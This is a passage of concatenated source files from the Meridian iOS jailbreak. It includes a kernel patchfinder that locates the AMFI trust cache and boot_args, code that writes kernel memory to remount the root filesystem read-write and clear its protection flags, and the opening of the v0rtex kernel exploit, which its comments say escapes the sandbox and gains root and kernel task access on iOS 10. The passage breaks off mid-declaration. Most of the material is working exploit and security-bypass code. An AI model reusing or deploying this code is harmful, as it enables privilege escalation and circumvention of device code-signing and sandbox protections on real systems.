1) { imm <<= 12; } else { //assert(shift == 0); if (shift > 1) continue; } //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); value[reg] = value[rn] + imm; } else if ((op & 0xF9C00000) == 0xF9400000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[reg] = value[rn] + imm; // XXX address, not actual value /*} else if ((op & 0xF9C00000) == 0xF9000000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[rn] = value[rn] + imm; // XXX address, not actual value*/ } else if ((op & 0x9F000000) == 0x10000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); value[reg] = ((long long)adr >> 11) + i; } else if ((op & 0xFF000000) == 0x58000000) { unsigned adr = (op & 0xFFFFE0) >> 3; //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); value[reg] = adr + i; // XXX address, not actual value } if (value[reg] == what) { return i; } } return 0; } static addr_t calc64(const uint8_t *buf, addr_t start, addr_t end, int which) { addr_t i; uint64_t value[32]; memset(value, 0, sizeof(value)); end &= ~3; for (i = start & ~3; i < end; i += 4) { uint32_t op = *(uint32_t *)(buf + i); unsigned reg = op & 0x1F; if ((op & 0x9F000000) == 0x90000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); value[reg] = ((long long)adr << 1) + (i & ~0xFFF); /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { unsigned rd = op & 0x1F; unsigned rm = (op >> 16) & 0x1F; //printf("%llx: MOV X%d, X%d\n", i, rd, rm); value[rd] = value[rm];*/ } else if ((op & 0xFF000000) == 0x91000000) { unsigned rn = (op >> 5) & 0x1F; unsigned shift = (op >> 22) & 3; unsigned imm = (op >> 10) & 0xFFF; if (shift == 1) { imm <<= 12; } else { //assert(shift == 0); if (shift > 1) continue; } //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); value[reg] = value[rn] + imm; } else if ((op & 0xF9C00000) == 0xF9400000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[reg] = value[rn] + imm; // XXX address, not actual value } else if ((op & 0xF9C00000) == 0xF9000000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[rn] = value[rn] + imm; // XXX address, not actual value } else if ((op & 0x9F000000) == 0x10000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); value[reg] = ((long long)adr >> 11) + i; } else if ((op & 0xFF000000) == 0x58000000) { unsigned adr = (op & 0xFFFFE0) >> 3; //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); value[reg] = adr + i; // XXX address, not actual value } } return value[which]; } static addr_t calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) { addr_t i; uint64_t value[32]; memset(value, 0, sizeof(value)); end &= ~3; for (i = start & ~3; i < end; i += 4) { uint32_t op = *(uint32_t *)(buf + i); unsigned reg = op & 0x1F; uint64_t newval; int rv = DecodeMov(op, value[reg], 0, &newval); if (rv == 0) { if (((op >> 31) & 1) == 0) { newval &= 0xFFFFFFFF; } value[reg] = newval; } } return value[which]; } static addr_t find_call64(const uint8_t *buf, addr_t start, size_t length) { return step64(buf, start, length, 0x94000000, 0xFC000000); } static addr_t follow_call64(const uint8_t *buf, addr_t call) { long long w; w = *(uint32_t *)(buf + call) & 0x3FFFFFF; w <<= 64 - 26; w >>= 64 - 26 - 2; return call + w; } static addr_t follow_cbz(const uint8_t *buf, addr_t cbz) { return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); } /* kernel iOS10 **************************************************************/ #include #include #include #include #include #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ #include size_t kread(uint64_t where, void *p, size_t size); #endif static uint8_t *kernel = NULL; static size_t kernel_size = 0; static addr_t xnucore_base = 0; static addr_t xnucore_size = 0; static addr_t prelink_base = 0; static addr_t prelink_size = 0; static addr_t cstring_base = 0; static addr_t cstring_size = 0; static addr_t pstring_base = 0; static addr_t pstring_size = 0; static addr_t data_base = 0; static addr_t data_size = 0; static addr_t data_const_base = 0; static addr_t data_const_size = 0; static addr_t kerndumpbase = -1; static addr_t kernel_entry = 0; static void *kernel_mh = 0; static addr_t kernel_delta = 0; int init_patchfinder(const char *filename) { size_t rv; uint8_t buf[0x4000]; unsigned i, j; const struct mach_header *hdr = (struct mach_header *)buf; const uint8_t *q; addr_t min = -1; addr_t max = 0; int is64 = 0; #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ #define close(f) rv = kread(kernel_base, buf, sizeof(buf)); if (rv != sizeof(buf)) { printf("failed kread, got size: %zu \n", rv); return -1; } #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ printf("this code right here has run ............. \n"); int fd = open(filename, O_RDONLY); if (fd < 0) { printf("failed at open, got fd: %s \n", fd); return -1; } rv = rk32_via_tfp0(tfp0, fd); //rv = read(fd, buf, sizeof(buf)); if (rv != sizeof(buf)) { close(fd); printf("failed at buf read, got rv: %d \n", rv); return -1; } #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ if (!MACHO(buf)) { close(fd); printf("failed macho, buf: %s \n", buf); return -1; } if (IS64(buf)) { is64 = 4; } q = buf + sizeof(struct mach_header) + is64; for (i = 0; i < hdr->ncmds; i++) { const struct load_command *cmd = (struct load_command *)q; if (cmd->cmd == LC_SEGMENT_64) { const struct segment_command_64 *seg = (struct segment_command_64 *)q; if (min > seg->vmaddr) { min = seg->vmaddr; } if (max < seg->vmaddr + seg->vmsize) { max = seg->vmaddr + seg->vmsize; } if (!strcmp(seg->segname, "__TEXT_EXEC")) { xnucore_base = seg->vmaddr; xnucore_size = seg->filesize; } if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { prelink_base = seg->vmaddr; prelink_size = seg->filesize; } if (!strcmp(seg->segname, "__TEXT")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__cstring")) { cstring_base = sec[j].addr; cstring_size = sec[j].size; } } } if (!strcmp(seg->segname, "__PRELINK_TEXT")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__text")) { pstring_base = sec[j].addr; pstring_size = sec[j].size; } } } if (!strcmp(seg->segname, "__LINKEDIT")) { kernel_delta = seg->vmaddr - min - seg->fileoff; } if (!strcmp(seg->segname, "__DATA")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__data")) { data_base = sec[j].addr; data_size = sec[j].size; } } } if (!strcmp(seg->segname, "__DATA_CONST")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { data_const_base = sec[j].addr; data_const_size = sec[j].size; } } } if (cmd->cmd == LC_UNIXTHREAD) { uint32_t *ptr = (uint32_t *)(cmd + 1); uint32_t flavor = ptr[0]; struct { uint64_t x[29]; /* General purpose registers x0-x28 */ uint64_t fp; /* Frame pointer x29 */ uint64_t lr; /* Link register x30 */ uint64_t sp; /* Stack pointer x31 */ uint64_t pc; /* Program counter */ uint32_t cpsr; /* Current program status register */ } *thread = (void *)(ptr + 2); if (flavor == 6) { kernel_entry = thread->pc; } } q = q + cmd->cmdsize; } kerndumpbase = min; xnucore_base -= kerndumpbase; prelink_base -= kerndumpbase; cstring_base -= kerndumpbase; pstring_base -= kerndumpbase; kernel_size = max - min; #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ kernel = malloc(kernel_size); if (!kernel) { printf("failed to malloc kern \n"); return -1; } rv = kread(kerndumpbase, kernel, kernel_size); // rv = kread(kerndumpbase, kernel, kernel_size); if (rv != kernel_size) { free(kernel); printf("failed to kread kern, rv: %zu \n", rv); return -1; } kernel_mh = kernel + kernel_base - min; (void)filename; #undef close #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ kernel = calloc(1, kernel_size); if (!kernel) { close(fd); printf("failed to calloc kern, kernel: %d \n", kernel); return -1; } q = buf + sizeof(struct mach_header) + is64; for (i = 0; i < hdr->ncmds; i++) { const struct load_command *cmd = (struct load_command *)q; if (cmd->cmd == LC_SEGMENT_64) { const struct segment_command_64 *seg = (struct segment_command_64 *)q; size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); if (sz != seg->filesize) { close(fd); free(kernel); printf("sz != seg->filesize, sz: %zu", sz); return -1; } if (!kernel_mh) { kernel_mh = kernel + seg->vmaddr - min; } if (!strcmp(seg->segname, "__LINKEDIT")) { kernel_delta = seg->vmaddr - min - seg->fileoff; } } q = q + cmd->cmdsize; } close(fd); (void)base; #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ return 0; } void term_kernel(void) { free(kernel); } /* these operate on VA ******************************************************/ #define INSN_RET 0xD65F03C0, 0xFFFFFFFF #define INSN_CALL 0x94000000, 0xFC000000 #define INSN_B 0x14000000, 0xFC000000 #define INSN_CBZ 0x34000000, 0xFC000000 addr_t find_register_value(addr_t where, int reg) { addr_t val; addr_t bof = 0; where -= kerndumpbase; if (where > xnucore_base) { bof = bof64(kernel, xnucore_base, where); if (!bof) { bof = xnucore_base; } } else if (where > prelink_base) { bof = bof64(kernel, prelink_base, where); if (!bof) { bof = prelink_base; } } val = calc64(kernel, bof, where, reg); if (!val) { return 0; } return val + kerndumpbase; } addr_t find_reference(addr_t to, int n, int prelink) { addr_t ref, end; addr_t base = xnucore_base; addr_t size = xnucore_size; if (prelink) { base = prelink_base; size = prelink_size; } if (n <= 0) { n = 1; } end = base + size; to -= kerndumpbase; do { ref = xref64(kernel, base, end, to); if (!ref) { return 0; } base = ref + 4; } while (--n > 0); return ref + kerndumpbase; } addr_t find_strref(const char *string, int n, int prelink) { uint8_t *str; addr_t base = cstring_base; addr_t size = cstring_size; if (prelink) { base = pstring_base; size = pstring_size; } str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string)); if (!str) { return 0; } return find_reference(str - kernel + kerndumpbase, n, prelink); } addr_t find_trustcache(void) { addr_t call, func, val; addr_t ref = find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1); if (!ref) { ref = find_strref("com.apple.MobileFileIntegrity", 1, 1); } if (!ref) { printf("didnt find string ref\n"); return 0; } ref -= kerndumpbase; call = step64(kernel, ref, 32, INSN_CALL); if (!call) { printf("couldn't find the call\n"); return 0; } call = step64(kernel, call+4, 32, INSN_CALL); func = follow_call64(kernel, call); if (!func) { printf("couldn't follow the call\n"); return 0; } val = calc64(kernel, func, func + 16, 8); if (!val) { return 0; } return val + kerndumpbase; } addr_t find_amficache(void) { addr_t call, func, bof, val; addr_t ref = find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1); if (!ref) { ref = find_strref("com.apple.MobileFileIntegrity", 1, 1); } if (!ref) { printf("didnt find string ref\n"); return 0; } ref -= kerndumpbase; call = step64(kernel, ref, 32, INSN_CALL); if (!call) { printf("couldn't find the call\n"); return 0; } call = step64(kernel, call+4, 32, INSN_CALL); func = follow_call64(kernel, call); if (!func) { printf("couldn't follow the call\n"); return 0; } bof = bof64(kernel, func - 256, func); if (!bof) { printf("couldn't find the start of the function\n"); return 0; } val = calc64(kernel, bof, func, 9); if (!val) { printf("couldn't find x9\n"); return 0; } return val + kerndumpbase; } uint64_t find_boot_args(unsigned* cmdline_offset) { /* ADRP X8, #_PE_state@PAGE ADD X8, X8, #_PE_state@PAGEOFF LDR X8, [X8,#(PE_state__boot_args - 0xFFFFFFF0078BF098)] ADD X8, X8, #0x6C STR X8, [SP,#0x550+var_550] ADRP X0, #aBsdInitCannotF@PAGE ; "\"bsd_init: cannot find root vnode: %s"... ADD X0, X0, #aBsdInitCannotF@PAGEOFF ; "\"bsd_init: cannot find root vnode: %s"... BL _panic */ addr_t ref = find_strref("\"bsd_init: cannot find root vnode: %s\"", 1, 0); if (ref == 0) { return 0; } ref -= kerndumpbase; // skip add & adrp for panic str ref -= 8; uint32_t *insn = (uint32_t*)(kernel+ref); // skip str --insn; // add xX, xX, #cmdline_offset uint8_t xm = *insn&0x1f; if (((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) { return 0; } *cmdline_offset = (*insn>>10) & 0xfff; uint64_t val = kerndumpbase; --insn; // ldr xX, [xX, #(PE_state__boot_args - PE_state)] if ((*insn & 0xF9C00000) != 0xF9400000) { return 0; } // xd == xX, xn == xX, if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) { return 0; } val += ((*insn >> 10) & 0xFFF) << 3; --insn; // add xX, xX, #_PE_state@PAGEOFF if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) { return 0; } val += (*insn>>10) & 0xfff; --insn; if ((*insn & 0x1f) != xm) { return 0; } // pc val += ((uint8_t*)(insn) - kernel) & ~0xfff; // don't ask, I wrote this at 5am val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000); return val; } addr_t find_add_x0_x0_0x40_ret(void) { addr_t off; uint32_t *k; k = (uint32_t *)(kernel + xnucore_base); for (off = 0; off < xnucore_size - 4; off += 4, k++) { if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { return off + xnucore_base + kerndumpbase; } } k = (uint32_t *)(kernel + prelink_base); for (off = 0; off < prelink_size - 4; off += 4, k++) { if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { return off + prelink_base + kerndumpbase; } } return 0; } addr_t find_OSBoolean_True(void) { addr_t val; addr_t ref = find_strref("Delay Autounload", 0, 0); if (!ref) { return 0; } ref -= kerndumpbase; addr_t weird_instruction = 0; for (int i = 4; i < 4*0x100; i+=4) { uint32_t op = *(uint32_t *)(kernel + ref + i); if (op == 0x320003E0) { weird_instruction = ref+i; break; } } if (!weird_instruction) { return 0; } val = calc64(kernel, ref, weird_instruction, 8); if (!val) { return 0; } return rk64(val + kerndumpbase); } addr_t find_OSBoolean_False(void) { return find_OSBoolean_True() + 8; } addr_t find_OSUnserializeXML(void) { addr_t ref = find_strref("OSUnserializeXML: %s near line %d\n", 1, 0); ref -= kerndumpbase; uint64_t start = bof64(kernel, xnucore_base, ref); return start + kerndumpbase; } addr_t find_smalloc(void) { addr_t ref = find_strref("sandbox memory allocation failure", 1, 1); ref -= kerndumpbase; uint64_t start = bof64(kernel, prelink_base, ref); return start + kerndumpbase; } addr_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final) { addr_t match[6] = { 1, 0x14, 0x14, sha1_init, sha1_update, sha1_final }; addr_t ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_const_base - kerndumpbase), data_const_size, (unsigned char*)match, sizeof(match)); if (ref == 0) ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_base - kerndumpbase), data_size, (unsigned char*)match, sizeof(match)); if (ref == 0) return 0; addr_t *testing = (addr_t *)ref; ref = ref - (addr_t)kernel + kerndumpbase; if (*(testing - 6) == 2 && *(testing + 6) != 2) { match[0] = ref; match[1] = ref - 0x30; match[2] = ref - 0x30 * 2; match[3] = ref - 0x30 * 3; } else if (*(testing - 6) != 2 && *(testing + 6) == 2) { match[0] = ref; match[1] = ref + 0x30; match[2] = ref + 0x30 * 2; match[3] = ref + 0x30 * 3; } else { return 0; } ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_const_base - kerndumpbase), data_const_size, (unsigned char*)match, 8*4); if (ref != 0) return ref - (addr_t)kernel + kerndumpbase; return 0; } ================================================ FILE: Meridian/Meridian/patchfinders/patchfinder64.h ================================================ #ifndef PATCHFINDER64_H_ #define PATCHFINDER64_H_ #import "common.h" #import int init_patchfinder(const char *filename); void term_kernel(void); enum { SearchInCore, SearchInPrelink }; uint64_t find_register_value(uint64_t where, int reg); uint64_t find_reference(uint64_t to, int n, int prelink); uint64_t find_strref(const char *string, int n, int prelink); // amfi trust cache patching uint64_t find_trustcache(void); uint64_t find_amficache(void); // lwvm patching for <10.3 uint64_t find_boot_args(unsigned *cmdline_offset); // used in jailbreakd uint64_t find_add_x0_x0_0x40_ret(void); uint64_t find_OSBoolean_True(void); uint64_t find_OSBoolean_False(void); uint64_t find_OSUnserializeXML(void); uint64_t find_smalloc(void); uint64_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final); #endif ================================================ FILE: Meridian/Meridian/preferences.h ================================================ // // Preferences.h // Meridian // // Created by Ben Sparkes on 28/07/2018. // #ifndef Preferences_h #define Preferences_h enum { Port22 = 0, Port2222, Port222222 }; void setTweaksEnabled(BOOL enabled); BOOL tweaksAreEnabled(void); void setStartLaunchDaemonsEnabled(BOOL enabled); BOOL startLaunchDaemonsIsEnabled(void); void setBootNonceValue(uint64_t bootNonce); uint64_t getBootNonceValue(void); void setStartDropbearEnabled(BOOL enabled); BOOL startDropbearIsEnabled(void); void setListenPort(NSInteger portOption); NSInteger listenPort(void); #endif /* Preferences_h */ ================================================ FILE: Meridian/Meridian/preferences.m ================================================ // // Preferences.m // Meridian // // Created by Ben Sparkes on 28/07/2018. // #import #import "preferences.h" #define TweaksKey @"tweaksAreEnabled" #define StartLaunchDaemonsKey @"startLaunchDaemonsEnabled" #define BootNonceKey @"bootNonce" #define StartDropbearKey @"startDropbearEnabled" #define PortKey @"listenPortOption" #define ELECTRA_GENERATOR 0xbd34a880be0b53f3 void setTweaksEnabled(BOOL enabled) { [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:TweaksKey]; [[NSUserDefaults standardUserDefaults] synchronize]; } BOOL tweaksAreEnabled() { NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:TweaksKey]; return (enabled) ? [enabled boolValue] : true; } void setStartLaunchDaemonsEnabled(BOOL enabled) { [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartLaunchDaemonsKey]; [[NSUserDefaults standardUserDefaults] synchronize]; } BOOL startLaunchDaemonsIsEnabled() { NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartLaunchDaemonsKey]; return (enabled) ? [enabled boolValue] : true; } void setBootNonceValue(uint64_t bootNonce) { [[NSUserDefaults standardUserDefaults] setInteger:bootNonce forKey:BootNonceKey]; [[NSUserDefaults standardUserDefaults] synchronize]; } uint64_t getBootNonceValue() { NSInteger integer = [[NSUserDefaults standardUserDefaults] integerForKey:BootNonceKey]; return (integer != 0x0) ? integer : ELECTRA_GENERATOR; } void setStartDropbearEnabled(BOOL enabled) { [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartDropbearKey]; [[NSUserDefaults standardUserDefaults] synchronize]; } BOOL startDropbearIsEnabled() { NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartDropbearKey]; return (enabled) ? [enabled boolValue] : false; } void setListenPort(NSInteger portOption) { [[NSUserDefaults standardUserDefaults] setInteger:portOption forKey:PortKey]; [[NSUserDefaults standardUserDefaults] synchronize]; } NSInteger listenPort(void) { NSNumber *portOption = [[NSUserDefaults standardUserDefaults] objectForKey:PortKey]; return (portOption) ? portOption.integerValue : Port222222; } ================================================ FILE: Meridian/Meridian/root-rw.h ================================================ // // root-rw.h // Meridian // // Created by Ben Sparkes on 16/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #include #include int mount_root(uint64_t kslide, uint64_t root_vnode, int pre130); ================================================ FILE: Meridian/Meridian/root-rw.m ================================================ // // root-rw.m // Meridian // // Created by Ben Sparkes on 16/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #include "root-rw.h" #include "kernel.h" #include "patchfinder64.h" #include "helpers.h" #include "ViewController.h" #include "offsetfinder.h" #include #include #include #include #include #define MOUNT_MNT_FLAG 0x70 #define VNODE_V_UN 0xd8 #define VNODE_V_UN_OTHER 0xd0 const unsigned OFF_LWVM__PARTITIONS = 0x1a0; const unsigned OFF_LWVMPART__ISWP = 0x28; const unsigned OFF_PROC__TASK = 0x18; const unsigned OFF_IPC_PORT__IP_KOBJECT = 0x68; const unsigned OFF_IPC_SPACE__IS_TABLE = 0x20; const unsigned SIZ_IPC_ENTRY_T = 0x18; const unsigned OFF_TASK__ITK_SPACE = 0x300; #define rkbuffer(w, p, s) kread(w, p, s); #define wkbuffer(w, p, s) kwrite(w, p, s); typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; extern const mach_port_t kIOMasterPortDefault; CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect); bool fix_root_iswriteprotected() { io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("LightweightVolumeManager")); if (!MACH_PORT_VALID(service)) { return false; } uint64_t inkernel = find_port_address(service); uint64_t lwvm_kaddr = rk64(inkernel + OFF_IPC_PORT__IP_KOBJECT); uint64_t rootp_kaddr = rk64(lwvm_kaddr + OFF_LWVM__PARTITIONS); uint64_t varp_kaddr = rk64(lwvm_kaddr + OFF_LWVM__PARTITIONS + sizeof(void*)); uint64_t rootp_iswp_addr = rootp_kaddr + OFF_LWVMPART__ISWP; uint64_t varp_iswp_addr = varp_kaddr + OFF_LWVMPART__ISWP; // Check we found the right values uint64_t varp_iswp = rk64(varp_iswp_addr); if (varp_iswp != 0) { NSLog(@"rk64(varp_iswp_addr) != 0! val: %llx", varp_iswp); return false; } uint64_t rootp_iswp = rk64(rootp_iswp_addr); if (rootp_iswp != 1) { NSLog(@"rk64(rootp_iswp_addr) != 1! val: %llx", rootp_iswp); return false; } wk64(rootp_iswp_addr, 0); return true; } #define BOOTARGS_PATCH "rd=mdx" bool fake_rootedramdisk(void) { unsigned cmdline_offset; uint64_t pestate_bootargs = find_boot_args(&cmdline_offset); if (pestate_bootargs == 0) { return false; } uint64_t struct_boot_args = rk64(pestate_bootargs); uint64_t boot_args_cmdline = struct_boot_args + cmdline_offset; // max size is 256 on arm char buf_bootargs[256]; rkbuffer(boot_args_cmdline, buf_bootargs, sizeof(buf_bootargs)); strcat(buf_bootargs, BOOTARGS_PATCH); wkbuffer(boot_args_cmdline, buf_bootargs, sizeof(buf_bootargs)); bzero(buf_bootargs, sizeof(buf_bootargs)); size_t size = sizeof(buf_bootargs); int err = sysctlbyname("kern.bootargs", buf_bootargs, &size, NULL, 0); if (err) { NSLog(@"sysctlbyname(kern.bootargs) failed"); return false; } if (strstr(buf_bootargs, BOOTARGS_PATCH) == NULL) { NSLog(@"kern.bootargs doesn't contain '%s' after patch!", BOOTARGS_PATCH); NSLog(@"kern.bootargs: '%s'", buf_bootargs); return false; } return true; } // props to xerub for the original '/' r/w remount code int remount_root(uint64_t kslide, uint64_t root_vnode) { int ret; uint64_t _rootnode = root_vnode + kslide; NSLog(@"_rootnode = %llx", _rootnode); uint64_t rootfs_vnode = rk64(_rootnode); NSLog(@"roofs_vnode = %llx", rootfs_vnode); uint64_t off = VNODE_V_UN; struct utsname uts; uname(&uts); if (strstr(uts.version, "16.0.0")) { off = VNODE_V_UN_OTHER; } // read the original flags uint64_t v_mount = rk64(rootfs_vnode + off); uint32_t v_flag = rk32(v_mount + MOUNT_MNT_FLAG); NSLog(@"original flags = %x", v_flag); // unset rootfs flag wk32(v_mount + MOUNT_MNT_FLAG, v_flag & ~MNT_ROOTFS); // remount char *nmz = strdup("/dev/disk0s1s1"); ret = mount("hfs", "/", MNT_UPDATE | MNT_NOATIME, (void *)&nmz); NSLog(@"remounting: %d", ret); // read back the new flags set by `mount` v_mount = rk64(rootfs_vnode + off); v_flag = rk32(v_mount + MOUNT_MNT_FLAG); NSLog(@"post-mount flags = %x", v_flag); // set back rootfs & unset nosuid v_flag = v_flag | MNT_ROOTFS; v_flag = v_flag & ~MNT_NOSUID; wk32(v_mount + MOUNT_MNT_FLAG, v_flag); NSLog(@"final flags = %x", v_flag); return ret; } int mount_root(uint64_t kslide, uint64_t root_vnode, int pre130) { if (pre130 == 1) { // further patches are requried on <10.3 NSLog(@"pre-10.3 detected: patching lwvm..."); if (!fix_root_iswriteprotected()) { NSLog(@"fix_root_iswriteprotected failed!"); return -61; } if (!fake_rootedramdisk()) { NSLog(@"fake_rootedramdisk failed!"); return -62; } } return remount_root(kslide, root_vnode); } ================================================ FILE: Meridian/Meridian/v0rtex.h ================================================ #import "common.h" #include #include typedef struct { const char *version; kptr_t base; // Structure offsets kptr_t sizeof_task; kptr_t task_itk_self; kptr_t task_itk_registered; kptr_t task_bsd_info; kptr_t proc_ucred; kptr_t vm_map_hdr; kptr_t ipc_space_is_task; kptr_t realhost_special; kptr_t iouserclient_ipc; kptr_t vtab_get_retain_count; kptr_t vtab_get_external_trap_for_index; // Data kptr_t zone_map; kptr_t kernel_map; kptr_t kernel_task; kptr_t realhost; // Code kptr_t copyin; kptr_t copyout; kptr_t chgproccnt; kptr_t kauth_cred_ref; kptr_t ipc_port_alloc_special; kptr_t ipc_kobject_set; kptr_t ipc_port_make_send; kptr_t osserializer_serialize; kptr_t rop_ldr_x0_x0_0x10; // Remount kptr_t root_vnode; // AMFID stuff kptr_t vfs_context_current; kptr_t vnode_getfromfd; kptr_t vnode_getattr; kptr_t vnode_put; kptr_t csblob_ent_dict_set; kptr_t sha1_init; kptr_t sha1_update; kptr_t sha1_final; } offsets_t; typedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *cb_data); kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data); ================================================ FILE: Meridian/Meridian/v0rtex.m ================================================ // v0rtex // Bug by Ian Beer. // Exploit by Siguza. // Status quo: // - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3. // - Can call arbitrary kernel functions with up to 7 args via KCALL(). // - Relies on mach_zone_force_gc() which was removed in iOS 11, but the same // effect should be achievable by continuously spraying through zones and // measuring how long it takes - garbage collection usually takes ages. :P // - Occasionally seems to mess with SpringBoard, i.e. apps don't open when you // tap on their icons - sometimes affects only v0rtex, sometimes all of them, // sometimes even freezes the lock screen. Can happen even if the exploit // aborts very early on, so I'm not sure whether it's even due to that, or due // to my broken UI. // - Most common panic at this point is "pmap_tte_deallocate(): ... refcnt=0x1", // which can occur when the app is killed, but only if shmem_addr has been // faulted before. Faulting that page can _sometimes_ increase the ref count // on its tte entry, which causes the mentioned panic when the task is // destroyed and its pmap with it. Exact source of this is unknown, but I // suspect it happening in pmap_enter_options_internal(), depending on page // compression status (i.e. if the page is compressed refcnt_updated is set to // true and the ref count isn't increased afterwards, otherwise it is). // On 32-bit such a panic can be temporarily averted with mlock(), but that // seems to cause even greater trouble later with zalloc, and on 64-bit mlock // even refuses to work. Deallocating shmem_addr from our address space does // not fix the problem, and neither does allocating new memory at that address // and faulting into it (which should _guarantee_ that the corresponding pmap // entry is updated). Fixing up the ref count manually is very tedious and // still seems to cause trouble with zalloc. Calling mach_zone_force_gc() // after releasing the IOSurfaceRootUserClient port seems to _somewhat_ help, // as does calling sched_yield() before mach_vm_remap() and faulting the page // right after, so that's what I'm doing for now. // In the long term, this should really be replaced by something deterministic // that _always_ works (like removing the tte entirely). // Not sure what'll really become of this, but it's certainly not done yet. // Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being. #include // errno #include // sched_yield #include // malloc, free #include // strerror #include // usleep, setuid, getuid #include #include #include #include "common.h" // LOG, kptr_t #include "v0rtex.h" // ********** ********** ********** get rid of ********** ********** ********** #ifdef __LP64__ # define OFFSET_TASK_ITK_SELF 0xd8 # define OFFSET_IOUSERCLIENT_IPC 0x9c #else # define OFFSET_TASK_ITK_SELF 0x9c # define OFFSET_IOUSERCLIENT_IPC 0x5c #endif #define IOSURFACE_CREATE_OUTSIZE 0x3c8 /* XXX 0x6c8 for iOS 11.0, 0xbc8 for 11.1.2 */ // ********** ********** ********** constants ********** ********** ********** #ifdef __LP64__ # define KERNEL_MAGIC MH_MAGIC_64 # define KERNEL_HEADER_OFFSET 0x4000 #else # define KERNEL_MAGIC MH_MAGIC # define KERNEL_HEADER_OFFSET 0x1000 #endif #define KERNEL_SLIDE_STEP 0x100000 #define NUM_BEFORE 0x2000 #define NUM_AFTER 0x1000 #define FILL_MEMSIZE 0x4000000 #if 0 #define NUM_DATA 0x4000 #define DATA_SIZE 0x1000 #endif #ifdef __LP64__ # define VTAB_SIZE 200 #else # define VTAB_SIZE 250 #endif const uint64_t IOSURFACE_CREATE_SURFACE = 0; const uint64_t IOSURFACE_SET_VALUE = 9; const uint64_t IOSURFACE_GET_VALUE = 10; const uint64_t IOSURFACE_DELETE_VALUE = 11; const uint32_t 